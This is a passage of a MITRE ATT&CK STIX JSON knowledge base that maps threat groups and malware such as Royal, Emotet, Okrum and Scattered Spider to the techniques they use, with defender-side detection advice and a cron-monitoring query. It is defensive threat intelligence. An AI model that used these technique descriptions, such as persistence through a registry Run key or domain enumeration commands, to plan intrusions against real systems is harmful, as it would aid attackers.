With Evolved SysUpdate Malware. Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) has exploited the Microsoft SharePoint vulnerability CVE-2019-0604 and CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065 in Exchange Server.(Citation: Trend Micro Iron Tiger April 2021)","modified":"2022-04-15T14:02:03.777Z","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--11e07c1f-4b28-459f-92db-ab4ebe1c5740","created":"2023-03-31T19:51:41.915Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason Royal December 2022","description":"Cybereason Global SOC and Cybereason Security Research Teams. (2022, December 14). Royal Rumble: Analysis of Royal Ransomware. Retrieved March 30, 2023.","url":"https://www.cybereason.com/blog/royal-ransomware-analysis"},{"source_name":"Kroll Royal Deep Dive February 2023","description":"Iacono, L. and Green, S. (2023, February 13). Royal Ransomware Deep Dive. Retrieved March 30, 2023.","url":"https://www.kroll.com/en/insights/publications/cyber/royal-ransomware-deep-dive"},{"source_name":"Trend Micro Royal Linux ESXi February 2023","description":"Morales, N. et al. (2023, February 20). Royal Ransomware Expands Attacks by Targeting Linux ESXi Servers. Retrieved March 30, 2023.","url":"https://www.trendmicro.com/en_us/research/23/b/royal-ransomware-expands-attacks-by-targeting-linux-esxi-servers.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-31T20:04:58.717Z","description":"[Royal](https://attack.mitre.org/software/S1073) uses a multi-threaded encryption process that can partially encrypt targeted files with the OpenSSL library and the AES256 algorithm.(Citation: Cybereason Royal December 2022)(Citation: Kroll Royal Deep Dive February 2023)(Citation: Trend Micro Royal Linux ESXi February 2023)","relationship_type":"uses","source_ref":"malware--802a874d-7463-4f2a-99e3-6a1f5a919a21","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--11e78ec5-43e3-4887-be15-a1eb32c8aad4","created":"2024-08-05T20:53:43.801Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-10T13:10:07.043Z","description":"Monitor events for changes to account objects and/or permissions on systems and the domain. Monitor for modification of account permissions in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Monitor for unusual permissions changes that may indicate excessively broad permissions being granted to compromised accounts or machine accounts being unexpectedly added into security groups. Monitor for accounts assigned to admin roles, such as Windows domain administrators, that go over a certain threshold of known admins. ","relationship_type":"detects","source_ref":"x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77","target_ref":"attack-pattern--3e6831b2-bf4c-4ae6-b328-2e7c6633b291","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--11ea144c-253e-4f68-bb2c-1f942cba6b54","type":"relationship","created":"2019-06-21T17:23:27.993Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.","url":"https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/","source_name":"ESET Turla PowerShell May 2019"}],"modified":"2019-07-14T21:02:01.442Z","description":"[PowerStallion](https://attack.mitre.org/software/S0393) uses a XOR cipher to encrypt command output written to its OneDrive C2 server.(Citation: ESET Turla PowerShell May 2019)","relationship_type":"uses","source_ref":"malware--dcac85c1-6485-4790-84f6-de5e6f6b91dd","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--11ed4654-a7bf-4063-9452-6d6174b9f8bc","type":"relationship","created":"2020-10-27T19:26:38.023Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT BLINDINGCAN Aug 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a","description":"US-CERT. (2020, August 19). MAR-10295134-1.v1 – North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020."}],"modified":"2020-10-27T19:26:38.023Z","description":"[BLINDINGCAN](https://attack.mitre.org/software/S0520) has collected from a victim machine the system name, processor information, OS version, and disk information, including type and free space available.(Citation: US-CERT BLINDINGCAN Aug 2020)","relationship_type":"uses","source_ref":"malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--11ed82c1-88af-4c23-860e-185505389288","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"XAgentOSX 2017","description":"Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/"}],"modified":"2020-03-16T19:51:51.340Z","description":"[XAgentOSX](https://attack.mitre.org/software/S0161) contains keylogging functionality that will monitor for active application windows and write them to the log, it can handle special characters, and it will buffer by default 50 characters before sending them out over the C2 infrastructure.(Citation: XAgentOSX 2017)","relationship_type":"uses","source_ref":"malware--59a97b15-8189-4d51-9404-e1ce8ea4a069","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--11f12767-22ca-4f4a-a911-8211dc8ac478","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"objsee mac malware 2017","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","url":"https://objective-see.com/blog/blog_0x25.html"}],"modified":"2020-03-17T01:47:07.419Z","description":"[MacSpy](https://attack.mitre.org/software/S0282) uses HTTP for command and control.(Citation: objsee mac malware 2017)","relationship_type":"uses","source_ref":"malware--f72251cb-2be5-421f-a081-99c29a1209e7","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--11f31998-c76f-4433-8e9c-c0ef0b7574d5","type":"relationship","created":"2019-06-10T18:55:43.635Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Lee, S.. (2019, April 24). Emotet Using WMI to Launch PowerShell Encoded Code. Retrieved May 24, 2019.","url":"https://www.carbonblack.com/2019/04/24/cb-tau-threat-intelligence-notification-emotet-utilizing-wmi-to-launch-powershell-encoded-code/","source_name":"Carbon Black Emotet Apr 2019"}],"modified":"2019-06-28T15:25:30.142Z","description":"[Emotet](https://attack.mitre.org/software/S0367) has used WMI to execute powershell.exe.(Citation: Carbon Black Emotet Apr 2019)","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--11f33a6b-f2f5-4c35-a72a-e2197340b425","type":"relationship","created":"2020-11-19T18:02:58.454Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR SLOTHFULMEDIA October 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a","description":"DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 – Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."}],"modified":"2020-11-19T18:02:58.454Z","description":"[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) can inject into running processes on a compromised host.(Citation: CISA MAR SLOTHFULMEDIA October 2020)","relationship_type":"uses","source_ref":"malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--11f5ed28-a9dc-4dd0-91ea-8f5df726ce56","type":"relationship","created":"2022-03-30T14:26:51.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.846Z","description":"Monitor for process activity (such as unexpected processes spawning outside a container and/or on a host) that might indicate an attempt to escape from a privileged container to host. ","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--4a5b7ade-8bb5-4853-84ed-23f262002665","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--11f6ad22-0293-47bd-95d1-34bf4ee1de9e","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.youtube.com/watch?v=fevGZs0EQu8","description":"Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.","source_name":"Mandiant FIN5 GrrCON Oct 2016"}],"modified":"2020-03-19T19:54:13.826Z","description":"[FIN5](https://attack.mitre.org/groups/G0053) maintains access to victim environments by using [FLIPSIDE](https://attack.mitre.org/software/S0173) to create a proxy for a backup RDP tunnel.(Citation: Mandiant FIN5 GrrCON Oct 2016)","relationship_type":"uses","source_ref":"intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022","target_ref":"attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--11f6bf91-2330-4490-831d-3c84982a2280","created":"2023-07-12T18:42:35.925Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike TELCO BPO Campaign December 2022","description":"Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.","url":"https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-22T18:44:44.334Z","description":"During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) accessed Azure AD to download bulk lists of group members and their Active Directory attributes.(Citation: Crowdstrike TELCO BPO Campaign December 2022)","relationship_type":"uses","source_ref":"campaign--df74f7ad-b10d-431c-9f1d-a2bc18dadefa","target_ref":"attack-pattern--16e94db9-b5b1-4cd0-b851-f38fbd0a70f2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--11f7aee6-3479-4756-8300-741e28e75142","created":"2024-05-22T21:58:42.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T18:34:28.338Z","description":"[DEADWOOD](https://attack.mitre.org/software/S1134) deletes files following overwriting them with random data.(Citation: SentinelOne Agrius 2021)","relationship_type":"uses","source_ref":"malware--f2e6af17-3828-4f10-88e7-343591618ddb","target_ref":"attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--11f8631f-9475-4910-baa6-975eb776798a","type":"relationship","created":"2022-03-24T19:30:57.194Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-24T19:30:57.194Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--59ff91cd-1430-4075-8563-e6f15f4f9ff5","target_ref":"attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--11fa7881-e772-419a-89b1-4e1ccdc6cbea","created":"2022-03-30T14:26:51.844Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for execution of commands and arguments associated with enumeration or information gathering of domain accounts and groups, such as net user /domain and net group /domain, dscacheutil -q groupon macOS, and ldapsearch on Linux.\n\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment, and also to an extent in normal network operations. Therefore discovery data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.","modified":"2022-04-14T15:02:25.935Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--11fef36d-e857-4e0e-93e0-f0361df83ced","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Orangeworm April 2018","description":"Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"}],"modified":"2020-03-18T20:10:20.882Z","description":"[Kwampirs](https://attack.mitre.org/software/S0236) collects a list of accounts with the command net users.(Citation: Symantec Orangeworm April 2018)","relationship_type":"uses","source_ref":"malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--11ff467e-83b2-4293-bec8-4837784534c5","created":"2022-03-30T14:26:51.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T14:09:29.138Z","description":"Monitor modifications to crontab files or system-wide cron directories. Monitor for changes made to files for unexpected modifications to access permissions and attributes.\n\nAnalytic 1 - Modified Files in Linux Cron Directories\n\n index=linux sourcetype:cron_logs:scheduled_tasks\" | search \"modification\" AND (file_path=\"/etc/crontab\" OR file_path=\"/var/spool/cron/crontabs/*\" OR file_path=\"/etc/cron.d/*\")","relationship_type":"detects","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--12043603-b490-41fc-84ed-99e70ca4876c","type":"relationship","created":"2020-03-13T21:01:23.208Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-13T21:01:23.208Z","relationship_type":"revoked-by","source_ref":"attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--120adfe2-5ad8-49bb-b6e8-e474b306814b","created":"2024-07-29T22:27:51.368Z","revoked":false,"external_references":[{"source_name":"DomainTools WinterVivern 2021","description":"Chad Anderson. (2021, April 27). Winter Vivern: A Look At Re-Crafted Government MalDocs Targeting Multiple Languages. Retrieved July 29, 2024.","url":"https://www.domaintools.com/resources/blog/winter-vivern-a-look-at-re-crafted-government-maldocs/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-29T22:27:51.368Z","description":"[Winter Vivern](https://attack.mitre.org/groups/G1035) used XLM 4.0 macros for initial code execution for malicious document files.(Citation: DomainTools WinterVivern 2021)","relationship_type":"uses","source_ref":"intrusion-set--75a07184-a7e5-4222-95a1-a04dbc96a29c","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--120b6ead-4c4a-4f99-8509-d4ae3d4afea6","type":"relationship","created":"2020-06-08T17:22:35.613Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky TajMahal April 2019","url":"https://securelist.com/project-tajmahal/90240/","description":"GReAT. (2019, April 10). Project TajMahal – a sophisticated new APT framework. Retrieved October 14, 2019."}],"modified":"2020-06-15T21:01:55.437Z","description":"[TajMahal](https://attack.mitre.org/software/S0467) has the ability to use the open source libraries XZip/Xunzip and zlib to compress files.(Citation: Kaspersky TajMahal April 2019)","relationship_type":"uses","source_ref":"malware--b51797f7-57da-4210-b8ac-b8632ee75d70","target_ref":"attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--120d84d1-e769-421d-8743-645b024d292b","created":"2024-07-24T16:33:47.126Z","revoked":false,"external_references":[{"source_name":"Crowdstrike HuntReport 2022","description":"CrowdStrike. (2023). 2022 Falcon OverWatch Threat Hunting Report. Retrieved May 20, 2024.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/2022OverWatchThreatHuntingReport.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-24T16:33:47.126Z","description":"[Aquatic Panda](https://attack.mitre.org/groups/G0143) uses [Wevtutil](https://attack.mitre.org/software/S0645) to extract Windows security event log data from victim machines.(Citation: Crowdstrike HuntReport 2022)","relationship_type":"uses","source_ref":"intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11","target_ref":"tool--f91162cc-1686-4ff8-8115-bf3f61a4cc7a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--120f001f-eb9c-4183-89f1-7c6e4bddc80c","type":"relationship","created":"2020-11-30T21:44:25.557Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Bazar July 2020","url":"https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles","description":"Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9’S DEVELOPMENT CYCLES. Retrieved November 18, 2020."},{"source_name":"NCC Group Team9 June 2020","url":"https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/","description":"Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."}],"modified":"2020-12-01T15:02:31.851Z","description":"[Bazar](https://attack.mitre.org/software/S0534) can use [Nltest](https://attack.mitre.org/software/S0359) tools to obtain information about the domain.(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--121152af-4bfe-4202-ade0-aad9fb85e0ad","type":"relationship","created":"2020-05-14T21:17:54.058Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Okrum July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf","description":"Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."}],"modified":"2020-05-14T21:17:54.058Z","description":"[Okrum](https://attack.mitre.org/software/S0439) loader only executes the payload after the left mouse button has been pressed at least three times, in order to avoid being executed within virtualized or emulated environments.(Citation: ESET Okrum July 2019) ","relationship_type":"uses","source_ref":"malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83","target_ref":"attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--12139a3a-72d6-4ce5-a987-fc319c8c77f7","type":"relationship","created":"2022-03-30T14:26:51.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.851Z","description":"Monitor for changes made to a file may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1215a807-77b4-465e-9c82-c4f023e668da","type":"relationship","created":"2020-05-08T18:41:16.426Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Cloud Atlas December 2014","url":"https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/","description":"GReAT. (2014, December 10). Cloud Atlas: RedOctober APT is back in style. Retrieved May 8, 2020."}],"modified":"2020-05-12T15:17:50.158Z","description":"[Inception](https://attack.mitre.org/groups/G0100) has maintained persistence by modifying Registry run key value \n HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\.(Citation: Kaspersky Cloud Atlas December 2014)","relationship_type":"uses","source_ref":"intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--12168524-c6cf-4b8f-b114-7b10b06b8f32","created":"2022-08-18T15:36:13.631Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"},{"source_name":"Mandiant UNC3313 Feb 2022","description":"Tomcik, R. et al. (2022, February 24). Left On Read: Telegram Malware Spotted in Latest Iranian Cyber Espionage Activity. Retrieved August 18, 2022.","url":"https://www.mandiant.com/resources/telegram-malware-iranian-espionage"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-14T15:23:17.964Z","description":"[STARWHALE](https://attack.mitre.org/software/S1037) can gather the computer name of an infected host.(Citation: Mandiant UNC3313 Feb 2022)(Citation: DHS CISA AA22-055A MuddyWater February 2022)","relationship_type":"uses","source_ref":"malware--e355fc84-6f3c-4888-8e0a-d7fa9c378532","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1218d239-d7ee-44ba-a88d-6b76cb16324e","created":"2022-08-15T16:55:47.164Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason StrifeWater Feb 2022","description":"Cybereason Nocturnus. (2022, February 1). StrifeWater RAT: Iranian APT Moses Staff Adds New Trojan to Ransomware Operations. Retrieved August 15, 2022.","url":"https://www.cybereason.com/blog/research/strifewater-rat-iranian-apt-moses-staff-adds-new-trojan-to-ransomware-operations"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T18:39:12.646Z","description":"[StrifeWater](https://attack.mitre.org/software/S1034) can collect the user name from the victim's machine.(Citation: Cybereason StrifeWater Feb 2022)","relationship_type":"uses","source_ref":"malware--fb78294a-7d7a-4d38-8ad0-92e67fddc9f0","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1219cbd2-26b8-4a2e-bbf1-477afc396203","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html","description":"Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.","source_name":"FireEye APT19"}],"modified":"2019-04-25T11:39:52.194Z","description":"[APT19](https://attack.mitre.org/groups/G0073) used PowerShell commands to execute payloads.(Citation: FireEye 